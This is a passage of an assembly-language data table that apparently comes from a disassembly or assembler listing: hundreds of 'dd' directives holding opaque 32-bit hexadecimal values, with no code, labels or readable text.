		dd 0C92D93C0h, 0D9FB6035h, 9B680841h, 0A812CB6Eh, 92E9C536h
		dd 7F3057E5h, 0DA6C03CAh, 5E7C155h, 9572FFAh, 0E25579E4h
		dd 4FDC4CCAh, 2C17E7C2h, 0B0BD54FAh, 9D67383Fh,	9F58C46h
		dd 88A88330h, 7126F4C3h, 2B1B7F2Fh, 0D67E05A1h,	0FC226BC1h
		dd 3A815FADh, 0F222EF91h, 0ED520413h, 595CC9CBh, 93F68C7Fh
		dd 920BE365h, 6CB80Dh, 0C5D93641h, 0D80900EEh, 0E0C1405Bh
		dd 7E073505h, 89820C56h, 0A443599Bh, 81BB344Eh,	0E451CD40h
		dd 9B75D59h, 4AB87211h,	0B40D9701h, 400BABA2h, 89A9B85Ah
		dd 0A69E95D4h, 58F24E97h, 0A3845E5Eh, 83BE00B3h, 1213641Eh
		dd 0AF59CE31h, 0E688403h, 4361252Bh, 0F105FA72h, 0E47AC0A8h
		dd 94CF9383h, 5B049EBh,	8462E074h, 7231061Dh, 0D59726DEh
		dd 5AB589E0h, 0CD8206E0h, 50760677h, 676ED38h, 0BD9FE9EFh
		dd 2DC605CFh, 0F2203006h, 51FDC010h, 124D6F9Eh,	0F33262E9h
		dd 6067135Dh, 3949D41Fh, 4B367EA1h, 76F6E458h, 975A1A40h
		dd 0D2EEF740h, 1118A0Bh, 563925FEh, 878C2BB3h, 3A408BE3h
		dd 7CCF4829h, 4FBAC703h, 0EA200179h, 1AF223h, 81714E05h
		dd 0A85CB2F2h, 84160B5h, 28C42FE9h, 2043FC69h, 0F5B04BC0h
		dd 80C56A0h, 870528C0h,	0CCD3F7DAh, 0F4204208h,	0A3372213h
		dd 0A63107A1h, 0FB68947Ah, 0F0AFF20Ch, 0F4F45FB8h, 2A41996Fh
		dd 82C2C73Bh, 5E51D879h, 0E5698367h, 1CE985BFh,	2033FA0Bh
		dd 48B5D259h, 92478F52h, 8C775FDBh, 9840121Ch, 58C50A31h
		dd 0BD5E5D1h, 0F9EE0921h, 819FF4F6h, 66336847h,	83822357h
		dd 60F2D66Fh, 0FB22912h, 5F4CFDF0h, 7023469h, 568326C7h
		dd 23F416F6h, 0ADB05DADh, 0BAB82143h, 1133C73h,	3C09566Ch
		dd 29C7BE5h, 0B9515B54h, 5F76CB19h, 0FA6FE909h,	0AE734CD2h
		dd 287DEA0Ah, 0C20CBDD4h, 9F9CC5EFh, 1610EE43h,	0B803D606h
		dd 11535BE0h, 2AD6D7D2h, 57092629h, 2746F94Bh, 0D3CCB7BAh
		dd 2002BFF6h, 0D0012558h, 0DC07892Dh, 0E953407Eh, 1C9441F0h
		dd 39E0D397h, 0E62BEB89h, 91921055h, 1438F969h,	51F25EF3h
		dd 0D0586839h, 0BE3459B8h, 14850D5Ch, 736F208h,	8218E8C1h
		dd 2377CF38h, 192E9132h, 0C208EF1Dh, 1EB9CC7Ch,	0F85419FCh
		dd 740FC6A2h, 69EAB753h, 0D0AAC26Bh, 0FBDC208Ah, 1FC05E4Eh
		dd 93366A68h, 1DFD0404h, 0C70DC052h, 703B47F2h,	0F9E70209h
		dd 760F0642h, 5212C3B4h, 37E92BA8h, 0BE5CF2B2h,	0E921313h
		dd 0CE0212FCh, 5D0A69E0h, 0CF240D5Eh, 0B6BF8C03h, 0AEC01FF4h
		dd 0E9768214h, 5107ACF3h, 1F973163h, 96DE21A9h,	0E0CED7B3h
		dd 6BEE3277h, 0FA0E5D60h, 2446C447h, 0EE2AC821h, 28C4336Bh
		dd 1E626812h, 0B1C552ECh, 3DBC0BEh, 1B73E180h, 25D2C13Ch
		dd 50A156C8h, 0FEB0F405h, 0AA565732h, 0CD3BDF48h, 0DF5835DAh
		dd 7C60B800h, 5D0D0169h, 269C033Ah, 736712Dh, 68054090h
		dd 9BCC0C28h, 0F351882Dh, 9494B0Eh, 509F2657h, 7E30145h
		dd 9222C6DEh, 0D3B42778h, 0EA880D01h, 0A040CE59h, 6A4BF480h
		dd 142C39B0h, 0A50BA8E9h, 0D6121381h, 91CA4075h, 2225153Fh
		dd 5E3209h, 0CD7CE6D2h,	0C90DFA62h, 0DEF06679h,	22901C25h
		dd 72A2D089h, 24860995h, 4D8257E5h, 6A0E319Dh, 7129FD1h
		dd 58A6FD84h, 0C0A45550h, 7430C641h, 14F4E57h, 0C084010h
		dd 27E46CE9h, 663509EBh, 66207751h, 7DBB5352h, 90A07F32h
		dd 0A9F950FAh, 0C52E1EDEh, 0CB3DFA10h, 0E45C0D97h, 0C649E98Dh
		dd 81053C04h, 2925CA01h, 7442DD8h, 0D27582h, 0F130ABB1h
		dd 0C17076C9h, 22C56837h, 86FF313Bh, 19B9148Fh,	233DC217h
		dd 4D48C8B1h, 0CDB25E56h, 0B1EAE9A0h, 0CB4A36B2h, 57597409h
		dd 0D332D398h, 7BC137ABh, 0F5433EEFh, 84C00375h, 2D6862A0h
		dd 6D185071h, 0D31D06A9h, 0D1D8E96Dh, 0BC3975CFh, 0E9527854h
		dd 9818D420h, 198E39C9h, 0FD92133Dh, 12BDBD42h,	0D4E05866h
		dd 25B073E6h, 0E34003EEh, 0B1BDE0E9h, 927469EEh, 51709701h
		dd 265DEA3Bh, 14120EC2h, 9445B5E0h, 3FC637BCh, 416685h
		dd 0F8287741h, 0DA58F759h, 0F3033DF8h, 5246290Ch, 33AE2216h
		dd 187C5EC9h, 0F1FEE4AEh, 20A616BDh, 25970AD8h,	58845062h
		dd 25BB995Eh, 0D952EC78h, 6109A38Ah, 0E68840A6h, 7F51F578h
		dd 0CFD341BFh, 1A18897Dh
		dd 0E90782B3h, 71287046h, 45529049h, 0D1F0DB01h, 3175561Dh
		dd 9DD1F24Eh, 973E06E1h, 6972C0BCh, 1370A88h, 0E4D5A7CFh
		dd 0BB06E7F8h, 0ECC153B1h, 57C015F4h, 64275BC2h, 5585BD1Fh
		dd 5E0801EAh, 968E30E9h, 42F95768h, 45C1B6A4h, 3C2038DDh
		dd 0BB874BC8h, 0E2849ACh, 4492CD0h, 0DADEC93Eh,	0C83101A3h
		dd 2A913598h, 6060A627h, 62C9E95Fh, 5AD22A3h, 5F125FDEh
		dd 201CBF12h, 0EC354813h, 0BEC1789Dh, 3BEACA7Ah, 808A4BEFh
		dd 0C411E916h, 7845EE20h, 5DD98DB5h, 4E6A10E5h,	0B9EBD01Fh
		dd 11E80D62h, 8B1F6EF1h, 0B296C59Eh, 0B233F282h, 24415C8Bh
		dd 0BC1E160Bh, 0F068A7E2h, 929D91AEh, 0C515FEC3h, 2A3AE101h
		dd 0C955DBD8h, 48F95EC1h, 0F1287E4h, 2F756D3Eh,	2E20ED48h
		dd 590EE6A0h, 28905A81h, 0B85000C8h, 37E21120h,	3C7FD431h
		dd 4499FE2Fh, 46886F5Ch, 0CB8FD70Eh, 2B562756h,	0D098043Fh
		dd 7A0630BAh, 2D7D1C61h, 0E7CC992Ah, 5B13E61Eh,	29023B97h
		dd 0E028339Eh, 1627F600h, 65AF6Eh, 7DE24C1Bh, 0F04801E5h
		dd 0D2ACB4E5h, 0A5A0B84Ah, 0E189BF81h, 0D54D3D6Fh, 0BB6E34CFh
		dd 0D148412h, 1BC3EA01h, 16FB474h, 89E37C76h, 4AA13A9Dh
		dd 98F15342h, 1D51F7C6h, 801B8847h, 0AF6F52CFh,	0E75AD17Ch
		dd 0A7FE075Fh, 0ABE4EFh, 73A12CC7h, 695D0517h, 0E93E4105h
		dd 0E9202F56h, 5C6B4482h, 3C0B0D42h, 684C05Ch, 547EB05Ah
		dd 25555F3Ch, 0F80B89D9h, 20A09865h, 126EC96h, 2610D0F3h
		dd 0DD315A09h, 40A77259h, 311AB136h, 0B30C78F4h, 0E911E06Fh
		dd 0AE39062Dh, 377DE419h, 0A505DECDh, 353A1A80h, 0B04D4B56h
		dd 0AC0BE25Eh, 0D803365Bh, 204A16AAh, 0C0BCE202h, 3B979DBDh
		dd 99098E4h, 54550EBBh,	8B3285Fh, 0D73E906h, 5CE67777h
		dd 0C5803EDAh, 3AE023B6h, 0FF3DC297h, 0D34A419Ch, 0E5099897h
		dd 2F06A1A2h, 264A0352h, 7A054EC2h, 26090E4h, 0BC0D5FF8h
		dd 758008h, 0BE560431h,	0EAA15823h, 0A538E909h,	68E1365Eh
		dd 8C6E70EFh, 0BA54FBD6h, 2E98D3CCh, 0E02C326h,	0C5C76DD8h
		dd 0A25BDA2Fh, 370594ABh, 5D6423C1h, 6E2329AAh,	847FACCDh
		dd 4B22ABA6h, 602D829h,	9D643D68h, 0FAA89249h, 0C19510B0h
		dd 10A65490h, 0B00A2069h, 0D4404169h, 96998B0Fh, 5FF93187h
		dd 0E9D5E839h, 1CF1B2DFh, 2D7A06BEh, 4E081D60h,	0C6BBA5B5h
		dd 148518C0h, 0A2F34F29h, 0DB68D88Ah, 9689818Ah, 0E8E855E8h
		dd 4F88F1h, 9542E568h, 20AFB753h, 0BA3FFF7Dh, 62BF020Bh
		dd 292780A8h, 2EA3367Ch, 135C41BBh, 0E2B64F01h,	0B011C581h
		dd 0EE670C67h, 84ED47E0h, 0EBF426E9h, 42E8A4A6h, 0D122F2A9h
		dd 30CEDCEDh, 296D6C80h, 0F30C7360h, 0A28A6B5Bh, 4B93D1F4h
		dd 45957194h, 8A398AB8h, 8A16C94Eh, 1EBBE914h, 0F577E27Ch
		dd 32885E9Ah, 34CB4FAEh, 9B74EC0h, 0CBB8299Fh, 0D0A6FA01h
		dd 4BA6B04Ch, 0F6ED93D8h, 0A492D2B0h, 0BDFACCB8h, 0BB26BC60h
		dd 904E6AB5h, 0B1F3356Ah, 3A03AE0Dh, 7E2BF8E9h,	26E71641h
		dd 0C30D0012h, 9A6C99BFh, 524E92Dh, 1FAA93CFh, 0EECBC012h
		dd 0C1159677h, 3C08EB30h, 610219BCh, 0C6670C53h, 0B560DA95h
		dd 842608A2h, 8D27A418h, 41DD46C5h, 0DD7749E6h,	69655BF9h
		dd 1B41F62Ah, 0D8324AAEh, 4CC1FE59h, 0F605A5C0h, 0BEBF68D9h
		dd 75B3DD31h, 0A125FCF9h, 3005D93Ah, 0D14FBAD0h, 0E74C21F2h
		dd 0DB3A4015h, 808BB503h, 1FDA65EDh, 5860F7EAh,	1C7453F5h
		dd 4A975D4Ch, 6C4DE1h, 0B909E7DEh, 5F1E30FCh, 29088A03h
		dd 930C2EFDh, 26B681E4h, 0BACAC780h, 0DFEFBAFAh, 0B920EE89h
		dd 165E5EF5h, 6266D841h, 97101549h, 11260E6h, 9D0821F2h
		dd 0C86801FBh, 0E3FB912Eh, 4715A9EAh, 14F9678Ch, 550712BDh
		dd 3B20040Ah, 60A11627h, 1FFE7220h, 933DBA48h, 0F22EA4A0h
		dd 52F80403h, 0E9D329CEh, 916F31E0h, 3908198Eh,	27E0D4FFh
		dd 80D94093h, 866E03F6h, 0EC8850EEh, 4F42D4BAh,	0D1122F7Eh
		dd 0DB1C74B8h, 38DA67FDh, 521F88C3h, 5FE998D9h,	72D28195h
		dd 88791395h, 4CDF2BF2h, 49F99F07h, 27312E4Eh, 9C06BB6Eh
		dd 952A1F20h, 273E5453h, 4B30056Fh, 102F49C1h, 0C908756Fh
		dd 91578BDFh, 7819FED1h, 7F82F85Fh, 5B4B5894h, 5E2651E3h
		dd 4569295h, 1F62156h, 0A5113FBFh, 44F1D320h, 620BC24Bh
		dd 74D2806Eh, 0FAE82755h, 75C2B68h, 0DD88C72Bh,	59872C21h
		dd 5AE7F22Ah, 0D210E68Eh, 3E834A87h, 5EF6CA50h,	0E148120Ah
		dd 0BFF7E9C9h, 50FF9E0h, 769263F8h, 0DB9E3C4h, 0FA01DB58h
		dd 890EB43Eh, 0A4802CFBh, 414F6F88h, 0B9C43ADAh, 0B40258A4h
		dd 0E13D08B9h, 0DCF310Bh, 43290883h, 0C80784h, 4F15BB53h
		dd 4B552D81h, 4D7C0E0Bh, 3C70B3C0h, 0F8C2FD73h,	123CFD4Dh
		dd 0A050B8B5h, 0CB06FAE9h, 3B00AD1Ch, 319243D6h, 140D0CC1h
		dd 80450AB3h, 1FFBDD80h, 4A334045h, 3109D2A0h, 0A26D3930h
		dd 9142DE2h, 3A36E932h,	8B003975h, 5A95FCCAh, 5123C240h
		dd 0EB68C767h, 2508548Eh, 683AD95Dh, 0BE291408h, 0FC52E982h
		dd 0BE4720DCh, 2CBFA41Fh, 479E0BFAh, 967F22C2h,	0FD61D2E4h
		dd 78E9A0CCh, 7F18954Ah, 0E69536C7h, 40B2002Ch,	0B050DAF6h
		dd 0F3162C51h, 0F98023E9h, 2574A3BAh, 35F12B11h, 495E5A17h
		dd 0E608DD4Bh, 9FB49E2h, 5E2EC85Fh, 0B98908BEh,	4F9A64CAh
		dd 93ED9154h, 0A4216BB8h, 75E9C329h, 2F231E7Ah,	1C0319C0h
		dd 89E6EF0Fh, 1F94E6FAh, 0CBDF4FC1h, 40EF02D9h,	7C5534E0h
		dd 0AF5F44C4h, 4FFE2704h, 5C802D84h, 616C289Bh,	78860C73h
		dd 6CA13A67h, 0A8C3177Bh, 298A8B80h, 8F1DB57h, 512FCCFCh
		dd 4A9C8B34h, 0E4644B7Eh, 46F26695h, 0C60058D1h, 20F01E0Ch
		dd 0E6B461E9h, 4E89541Dh, 399F18EBh, 0BC6C4BDFh, 91711918h
		dd 5ADDCFA5h, 0E190447Bh, 92D2C004h, 795E7CA0h,	0A402BB0Bh
		dd 0BCF8880Ch, 8754041Ch, 0F4462C1Ah, 0AFF29474h, 5D05D382h
		dd 57D60229h, 0B0945F69h, 6DF1A7A0h, 0DE730725h, 0C2B712A4h
		dd 9C5466B8h, 0EAF1A6C5h, 0FB85820h, 2FD24077h,	66A9A289h
		dd 8071CFEh, 626E5AF7h,	0ABF8300Ch, 5234C0ECh, 63680E55h
		dd 0E984A544h, 7A44A128h, 2C6E15D9h, 0C69DEE9Bh, 0EF753749h
		dd 0F9EBCEEBh, 0E8BFF9A5h, 1EF292CDh, 0C4EA16D2h, 9384AF05h
		dd 0D7435EBh, 2F1CC446h, 0F607F588h, 168965D5h,	0C535AF5Eh
		dd 0AAEFE682h, 0ED089FACh, 56DC693Bh, 0FC075C53h, 0BC4B84F4h
		dd 0CCE982EBh, 12A07FB4h, 0CA56BCEh, 1176098h, 7D01DDF7h
		dd 12E71DA2h, 0E9EBE02Bh, 0CA902AF9h, 0B0577C5Bh, 21A92E28h
		dd 0A4FA42C6h, 66FC2000h, 0C248B45Bh, 8001ED17h, 0F5E0FEEAh
		dd 97E7DF35h, 0B050C008h, 0D370B2E0h, 6858C205h, 86B33DE4h
		dd 0F91BB412h, 0ACE893D3h, 96ECF34Fh, 5189E6FCh, 87E04088h
		dd 24C1E7D1h, 0E7948702h, 0AA8054C8h, 0F5E91F10h, 0C1C430FBh
		dd 68130AE9h, 5A8C5065h, 0B73C5DB6h, 4E310h, 3BDD224Bh
		dd 1774F681h, 0F41B9D7Ah, 107DE657h, 0D104F41Eh, 89195C6Eh
		dd 0D43831DBh, 6A47E05Fh, 688D7616h, 0A351D3ADh, 2010A02h
		dd 0AE895A08h, 0A556032Bh, 74C97AE2h, 3C9D8144h, 70295AB1h
		dd 0F04BF3CDh, 5D527470h, 0CFB9015Ah, 3157A64Eh, 18D532E9h
		dd 68243044h, 0BA563F09h, 164E5E9Fh, 0BE33C41Eh, 4E74FA9Fh
		dd 0C93CBC1Ch, 0D8598256h, 0EAD10090h, 0F09C23Bh, 54B3F684h
		dd 2F406DD3h, 0F9925AE3h
		dd 37AF9375h, 3182992Ah, 8E642A9Ch, 0F1ADE630h,	0ECCEEFF2h
		dd 0DAC097D6h, 3A009805h, 0D42D3CA0h, 0F477114Dh, 174C0523h
		dd 95C9E940h, 8982AD5Ah, 9AB05F5Dh, 0CFA15FFDh,	140AC08Dh
		dd 0C6E28102h, 5F49EE2Ch, 0A88243B1h, 0A0E68922h, 79B880h
		dd 552EC461h, 78066851h, 58470827h, 5BF7014Dh, 13E9149Ah
		dd 0DE257E24h, 680B6DB8h, 0E71963DEh, 0C1CB2151h, 43416A85h
		dd 40B45CB5h, 13155870h, 0D401E15Fh, 90DB2D22h,	0B7B983Ch
		dd 3858C5CFh, 0C76FB382h, 2142307Eh, 64305DD8h,	0E682C92Ch
		dd 722951Dh, 9275D14Eh,	8838FDFFh, 3BCBEBB6h, 98C289EEh
		dd 8210A16Eh, 0EF331857h, 0C41FB45Dh, 5F98BBC8h, 0D80D53F7h
		dd 0A630D78h, 55C5E0Bh,	7F8C8E07h, 0B02D2800h, 30728944h
		dd 14E92C5Eh, 974DA676h, 506849C2h, 2A0962D8h, 504A9D37h
		dd 5D0782DFh, 0E9B96F87h, 4BDDBBDDh, 0FA6FA407h, 282391BFh
		dd 0B7528848h, 5101BF94h, 38EE6856h, 0CA814BB2h, 180E50CEh
		dd 720C864Fh, 3476E77Bh, 0C15284E3h, 3A8065Fh, 7852E24Bh
		dd 0EAE9A36Bh, 89235EA4h, 0B0B12646h, 0E2163FC6h, 6888C1E3h
		dd 175BAF4Ch, 0C57BE956h, 3CA48005h, 0EB1F99E6h, 6857FD89h
		dd 2FBBCB43h, 5610AA58h, 0B85E134Fh, 9380D778h,	9D615968h
		dd 123D96FBh, 0F2F8236Bh, 0E8BD6CB6h, 498F6893h, 222D5E5Dh
		dd 0AD5E4462h, 0BA64E978h, 685C0BD7h, 52D10571h, 56BD0E89h
		dd 97D4FABCh, 0E9325549h, 0E9173FD0h, 0FEE4960Fh, 0D0140B47h
		dd 95B5812h, 1EA3F345h,	4F78DC40h, 3DA7213Ch, 74407E33h
		dd 0F336E868h, 48581739h, 0E6EE1C93h, 55081824h, 2D1E01E8h
		dd 97FAC954h, 1066C629h, 0ED13A3BDh, 20C1E334h,	442FF845h
		dd 8D91F938h, 3C38F9F5h, 0E8BD0578h, 6980D554h,	305DE2EDh
		dd 0FB0C3CD4h, 9E1733B0h, 0D25260E9h, 4149A3D7h, 0EFF802ECh
		dd 97F492C0h, 134AB702h, 4C8EEB0h, 9D7B7028h, 5B07EA0Bh
		dd 2F95073Fh, 6069E212h, 0E02C0CF0h, 0C602BD28h, 7D0A143Fh
		dd 0F6497713h, 0FE2DD059h, 124D6815h, 0C9E232BFh, 9E4A1109h
		dd 503AA38h, 6D096B85h,	8B7DB0D2h, 0D7AD329Ah, 0DED6416h
		dd 0E03A101Dh, 5B81DEB5h, 4C7E16C7h, 9D03443h, 8D23B1EBh
		dd 1DFA0A9Bh, 0C44A8055h, 5A29BC7Eh, 0AA4CF0C3h, 5C79DFECh
		dd 0EA50DA78h, 0E0BD5B08h, 82B3BE40h, 0C2C5325Dh, 41695521h
		dd 8FF653B0h, 7FCA3010h, 49E66805h, 0AB708146h,	3187DDFh
		dd 548D5837h, 9C0E1C45h, 0C12E0338h, 120004E5h,	74B0F394h
		dd 9D454BE9h, 2A8C1A65h, 1CEB4F80h, 2F604454h, 8037E6Ah
		dd 12BE015Dh, 0F45F126h, 0EA1C030h, 534D282Eh, 0C6EC5599h
		dd 0C7282682h, 257E030h, 0C0CB29ADh, 0D2F6E98Dh, 884D05A0h
		dd 0B0F884F7h, 2B5CB227h, 0F31B2559h, 47BE800Dh, 291FF026h
		dd 0A7C21390h, 70558F10h, 2FAC2725h, 0AEBD0A5Bh, 0B6801F58h
		dd 5AF30896h, 2E31DC0h,	0CE59880h, 0B13C5107h, 8DE99F82h
		dd 0E3ADC10Fh, 702846F1h, 29D84EB0h, 2CD0C03Eh,	32289C5Ah
		dd 5FD87D28h, 97E0A7E5h, 0BBB539A8h, 5152B141h,	0B160DDB5h
		dd 22BF80E8h, 4FE70E01h, 505FF921h, 13875970h, 87FA638h
		dd 0C02FF15Eh, 7628621Fh, 80580BE3h, 5EF86BC3h,	0A7E8D48h
		dd 8E0BC568h, 90FCE68Bh, 3073A2ADh, 0C10C25BBh,	0B1153141h
		dd 0CB70D389h, 0A0358453h, 360B8618h, 67B5CD4h,	6C24416Ah
		dd 357B170Ch, 4A070649h, 5F0B2EAEh, 105DE821h, 84B66EA4h
		dd 95E91C09h, 5512F2D0h, 562CE771h, 3D82876Bh, 30F488DCh
		dd 7DB1A049h, 80577432h, 82E052E6h, 0BFFC0B4Eh,	56137C3Eh
		dd 2473EC29h, 53AD4F4Dh, 0F9274968h, 2643468h, 0E81619E9h
		dd 9F068159h, 0E98451CFh, 34AE431Dh, 0DC44AFFEh, 0D0D8AA96h
		dd 4790400Ch, 9D09A390h, 803A8B31h, 664AC6CCh, 6AF89562h
		dd 0E913FBF8h, 0FE323C97h, 25DDD259h, 245A3E19h, 71148527h
		dd 17D3AC97h, 0D843A589h, 9BB7E551h, 0CB03E617h, 20DC0E5Eh
		dd 7FEA8272h, 5BDEF6B6h, 40FDD1EBh, 9ED2C1A8h, 0F4900BBEh
		dd 2E898C9Ch, 61AAF643h, 730EA068h, 170785Dh, 34326EBFh
		dd 5311C821h, 0CF1EB0C7h, 4F936C02h, 0FD80C5E9h, 0E878BE18h
		dd 3E4CCE9Dh, 5496C209h, 43ACC933h, 0B231B5FBh,	454D1646h
		dd 9B153C21h, 98EB1F84h, 234E78B2h, 68E096ACh, 249C3676h
		dd 0EC072962h, 0B94B934h, 0CE9AE45Bh, 0C2B75884h, 3FDE532Eh
		dd 0D52E1803h, 0FC0C010Fh, 0E9347D73h, 4EF86C70h, 66474ACh
		dd 0E24FC008h, 92C828h,	5A94024Eh, 88BDD304h, 0E72B20EAh
		dd 9C3E7A50h, 98A6AA1Dh, 47B5B95Fh, 0BB1FB3E8h,	2CD04EB9h
		dd 5A93CD2Eh, 10A8DA05h, 9D231AFh, 14DD7E38h, 78130E40h
		dd 0E92E0885h, 0EA26DAA5h, 0C82E80Ch, 711B0F05h, 0C34F148Eh
		dd 0C5C1BD92h, 0FE9439DDh, 4F2B89B5h, 0A6336717h, 3FD4126Ch
		dd 28E331BFh, 0B4680049h, 59B2BF0Dh, 5F3CD360h,	781D9227h
		dd 520307F8h, 60487538h, 0A85A0D3Eh, 0DCC50129h, 955FF02Dh
		dd 0C5448E5Bh, 5672CBBEh, 0F1F71312h, 71512721h, 54161723h
		dd 20D695Bh, 0B09F5E4h,	93A25E05h, 2C9BAC5Ah, 4FA5DF87h
		dd 0EB5C13E1h, 0C1E91130h, 0A0092D5h, 7BDD4146h, 0A0FA1DE9h
		dd 3EC95C4Bh, 111D016Ah, 2E483202h, 680923CBh, 0F84452FDh
		dd 3B2D5379h, 0BB1C676h, 15F41A38h, 253D86F6h, 2E0FECDh
		dd 416074B3h, 0BA5B1760h, 0F84CEA2Fh, 0C2399EB3h, 0B10394D3h
		dd 778784B3h, 0AD8467E5h, 0B72930EFh, 0E703C030h, 86D7F606h
		dd 0FD6A3F7h, 0FD885108h, 9DE9D561h, 0E4C86B7Fh, 0D334F256h
		dd 645F0113h, 6E48A423h, 0E581FA88h, 84EF0B44h,	24CDBEC6h
		dd 90DEE22Ah, 437D1180h, 644AE292h, 1CA9EDDDh, 57DD0101h
		dd 72F2D7E9h, 4DF90493h, 0D4BE4638h, 5A080969h,	0F4C9D25Ch
		dd 55896FFh, 0D90E4791h, 77002E93h, 635D03BAh, 16609F43h
		dd 5B001E35h, 9C0D2C36h, 3C318D7Fh, 0E192C92Dh,	319B878h
		dd 81460A05h, 97D83A65h, 0E93FEB02h, 0B85740A0h, 0EC4C8A1Bh
		dd 64883202h, 0FEFC6608h, 3BDEE961h, 4020CD3Eh,	0D651E20h
		dd 0CD5D307Fh, 3E2D0E39h, 681F2367h, 30FE9480h,	5CF9636Ah
		dd 0D02FA099h, 0A8204FE7h, 7F12A207h, 5A50C0C8h, 172B9895h
		dd 0EF91B4D6h, 0AF294065h, 5862BA41h, 0B03F0B99h, 5D3708A1h
		dd 0E9CD715Eh, 2F203830h, 21819623h, 0E2F90816h, 0C80148E8h
		dd 590A42F9h, 0C62339FEh, 0D1E0A7B9h, 4FC6609Ch, 0A09F3925h
		dd 0D656EB92h, 0EEE1EC66h, 32D72721h, 7BF123C0h, 0ED2CDF12h
		dd 0D0D81905h, 0F8FA39BEh, 51BE97D6h, 253E7EC9h, 0E59D38F0h
		dd 295C0BEDh, 7E028F02h, 0D7887DD6h, 28311BA8h,	897991F1h
		dd 898BBA10h, 6B130209h, 1C42E617h, 0A7DE6858h,	0D952A7DCh
		dd 0ABE94265h, 589727C4h, 0B5054849h, 0E2736104h, 0ADC9EE03h
		dd 8AFE9C04h, 5FE94E56h, 51377B10h, 55A56A94h, 61540CADh
		dd 4204E98Bh, 66936078h, 15DCCB59h, 0F9303540h,	25325395h
		dd 0B9E456F8h, 0F748A792h, 86C303C2h, 43F1E0Ch,	1A92BB0Ch
		dd 92228433h, 0A387F793h, 78FE939Ch, 2E391248h,	0AD09B2C5h
		dd 5F58C6C7h, 0C23B9040h, 910C53B0h, 98D38906h,	5A749A5Dh
		dd 0EB55E564h, 53B240CDh, 0C333FDBBh, 0D8314B1Fh, 5435A349h
		dd 3868E1A5h, 21377F7Dh, 406A6490h, 84585A07h, 0C15DC545h
		dd 5432E400h, 13E8B9E0h, 69FD789Eh, 8535EDD7h, 20EE5AD1h
		dd 0C18CE9A2h, 94FC094h
		dd 65897631h, 0C0831CB7h, 51E7D039h, 384AB2E9h,	29CACCA8h
		dd 4B60113Eh, 0F71437FCh, 9209E5DBh, 0F160FB7Bh, 0FF7235A8h
		dd 14E57B0h, 0C45FBD0Eh, 4CFFA5FDh, 5C919F7Fh, 0D9EB3CBCh
		dd 6D604B6Fh, 4B4B0E68h, 0E9A151E8h, 20268CFh, 0A07152BEh
		dd 18B5710h, 0A3EB0F55h, 217822Eh, 0A37C5F0Ch, 5A783199h
		dd 9367520h, 7DB56851h,	0AD820059h, 763EBF39h, 2CA287Eh
		dd 448D6C2Bh, 0C9507CE9h, 801CB271h, 0EACF25E2h, 18CBA47Eh
		dd 58E50800h, 0C776B353h, 0F8ACDD4Bh, 0D49DAE62h, 1E4D140Bh
		dd 7E8F82C3h, 0E166E90Ah, 0B251928Fh, 0E32944Eh, 40FE4946h
		dd 42F3814Bh, 12301A62h, 5D6A89h, 0C80D33A9h, 2985B74Dh
		dd 539A1E5h, 11B804F3h,	515905A9h, 7A307D8Dh, 4E1A709Ah
		dd 2A3E54Dh, 53E45908h,	7DE1F624h, 0A42CCC9Dh, 0C3B33416h
		dd 0AA7749C4h, 15739CCh, 8E4BE868h, 28475F43h, 1203737Bh
		dd 89BC71B4h, 0EFBCE4FBh, 0BFDA69Dh, 74F02E0Eh,	3E83F20h
		dd 80BFB551h, 0CD9884EDh, 0DD12F64Eh, 0F8A06EE9h, 77D99529h
		dd 0E642F0CAh, 16590ABFh, 7679E2C3h, 640C7709h,	4A457CFBh
		dd 0E32C0858h, 0E493117h, 54AD5DC5h, 5AB57C94h,	40803B68h
		dd 9C97BF22h, 27EC940Ch, 0CADAC76h, 79D0F86Eh, 0CC68501Bh
		dd 46B6CB06h, 0FA983843h, 3300BF57h, 812D3B3Eh,	73FC7E7h
		dd 0EFC145A7h, 46CF9006h, 70171003h, 71B114E9h,	81F2843Bh
		dd 7AF3A62Bh, 0E1F78640h, 0EC2F134Ah, 86602C7h,	0FE89156Ah
		dd 0C9C2DC42h, 981BDC8Fh, 4826E003h, 0CCF70C46h, 0E1952080h
		dd 0BC964FA1h, 0A2E9094Eh, 0BD9D5B40h, 0B63C7492h, 77292E27h
		dd 0A840E128h, 6C7F2E68h, 70D58810h, 9B8999A4h,	1E9C553Fh
		dd 6DCD7C5Fh, 6548E736h, 538B4416h, 68910E2Dh, 0BDB27429h
		dd 0E9EA2581h, 70EC381Ah, 0C380F309h, 6D0BFD19h, 490D0155h
		dd 0F531E4C0h, 0DF636AD6h, 0CA80EA14h, 49C052E9h, 687FC7BBh
		dd 92B9039h, 0C697803Dh, 20819E5Dh, 18983D55h, 1E3E1D41h
		dd 0B2DB0909h, 0B65E3D2Ch, 0E059C340h, 255B79F8h, 9B6E1D41h
		dd 1C500DA0h, 0EF6DAD28h, 923AC0Eh, 0EBEFC02Ah,	1776F27Ch
		dd 2830EAE9h, 801C5BD1h, 0CB020DC1h, 0A3DD4AE9h, 0BA464DCCh
		dd 0C9174074h, 0FD032614h, 5DC101AAh, 805C1608h, 380AE20Ch
		dd 9ACF894Bh, 71AD0B2Dh, 8E894FB1h, 4D2E8AF7h, 5ED6F103h
		dd 0DA9E50B7h, 0F32F2863h, 0E0A524D7h, 300167E0h, 664DB905h
		dd 89F8714Eh, 0B5A122Bh, 4682E1C1h, 0BD00BE37h,	49461530h
		dd 307D9605h, 351AABEBh, 0D27F4022h, 29052AFCh,	0C7014160h
		dd 90BDBE3h, 5FDC5FF9h,	0E4344289h, 0F740BD45h,	0E5BDFE01h
		dd 0EFC68013h, 11D5A55h, 4194DE5Ch, 0AB0C8208h,	51752A21h
		dd 84D1A7CCh, 0DDB93496h, 0C1052D58h, 0E057E97Ah, 0F73996E2h
		dd 78ECD0D6h, 35367913h, 192E06EEh, 0F2017F10h,	6B91014Ah
		dd 16CD031h, 2E6852A0h,	48CBDD18h, 0B5C8E91Fh, 2DF78DE8h
		dd 6A911712h, 96F11201h, 42307235h, 346C0180h, 0E9EB016Dh
		dd 4ABB3C53h, 0E48528A2h, 0D920EBB5h, 0CA31D2F7h, 0BDBF6C67h
		dd 9963DD2Fh, 2880065Ah, 9A8C4BAh, 0D586E93Bh, 505DA652h
		dd 0C58009A7h, 0FDF0864Fh, 0C9D1980Ch, 316D586h, 89D4C595h
		dd 0B946128Eh, 9194252Fh, 8A415D39h, 352A72DCh,	0B31C164Bh
		dd 0F75C80C4h, 97FD68E9h, 76EA3EFAh, 94C4F5D3h,	363039EBh
		dd 4F91970Ch, 0AA05D98Eh, 0D4AFB624h, 0E190BE06h, 0B5BB09E9h
